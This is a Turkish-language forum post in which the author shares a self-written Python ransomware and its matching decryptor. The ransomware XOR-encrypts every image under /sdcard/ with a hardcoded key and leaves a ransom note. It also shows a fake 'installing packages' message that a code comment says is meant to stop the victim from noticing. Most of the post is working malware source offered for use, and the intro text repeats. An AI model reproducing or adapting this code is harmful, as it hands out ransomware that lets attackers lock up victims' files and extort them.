- 20 Şub 2022
- 1,365
- 348
Merhaba ben Carlon
Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.
Fidye Virüsü;
Şifrelenmiş dosyaları çözme;
dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.
Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Bugün sizlere kendi basit olarak geliştirdiğim fidye virüsünü göstereceğim. Bu virüs sadece cihazdaki fotoğrafları şifreliyor. Basittir temel mantık ele alınmıştır.
Fidye Virüsü;
Python:
import os
import mimetypes
print("Gerekli Paketler Yükleniyor.. (Bu işlem zaman alabilir!") #burda kurbanı bekletiyoruz farkına varmasın diye
def encrypt_file(file_name, key):
# Dosyayı Şifreleme adımı
with open(file_name, 'rb') as f:
data = bytearray(f.read())
key_bytes = bytearray(key, 'utf-8') # Anahtarı byte dizisine dönüştürüyoruz
for i, byte in enumerate(data):
data[i] = byte ^ key_bytes[i % len(key_bytes)] # XOR işlemini yapıyoruz
with open(file_name, 'wb') as f:
f.write(data)
def demand_ransom(target_directory):
# Kurbana bir fidye notu bırakıyoruz
ransom_message = """
Fotoğraflarınız Şifrelendi :)
Fotoğraflarınızı Geri Getirmek için l
"""
with open(os.path.join(target_directory, "Oku.txt"), "w") as f:
f.write(ransom_message)
if __name__ == "__main__":
target_directories = ["/sdcard/"] # şifrelenecek dizini yazıyoruz
key = "ahmetkaya" # Şifreleme anahtarını belirtiyoruz
for target_directory in target_directories:
# Hedef dizindeki tüm resim dosyalarını şifreliyoruz
for root, dirs, files in os.walk(target_directory):
for file in files:
file_path = os.path.join(root, file)
mime_type, _ = mimetypes.guess_type(file_path)
if mime_type and mime_type.startswith('image'):
encrypt_file(file_path, key)
# Fidye talep ediyoruz
demand_ransom(target_directory)
Şifrelenmiş dosyaları çözme;
Python:
import os
import mimetypes
print("Bekle şifreler çözülüyor")
def decrypt_file(file_name, key):
# Dosyayı çözüyoruz
with open(file_name, 'rb') as f:
data = bytearray(f.read())
key_bytes = bytearray(key, 'utf-8') # Anahtarı byte dizisine dönüştürüyoruz
for i, byte in enumerate(data):
data[i] = byte ^ key_bytes[i % len(key_bytes)] # XOR işlemi
with open(file_name, 'wb') as f:
f.write(data)
if __name__ == "__main__":
target_directories = ["/sdcard/"] # çözülecek dizini yazıyoruz
key = "ahmetkaya" # Şifreleme anahtarını yazıyoruz
for target_directory in target_directories:
# Hedef dizindeki tüm şifreli dosyaları çözüyoruz
for root, dirs, files in os.walk(target_directory):
for file in files:
file_path = os.path.join(root, file)
mime_type, _ = mimetypes.guess_type(file_path)
if mime_type and mime_type.startswith('image'):
decrypt_file(file_path, key)
dikkat edilmesi gereken kısım şifreleme anahtarını düzgün yazmamız ve unutmamamız yoksa şifrelenmiş dosyaları geri getiremezsiniz.
Daha fazla bu konulardan gelmesini istiyorsanız belirtebilirsiniz
Saygılar...
Moderatör tarafında düzenlendi: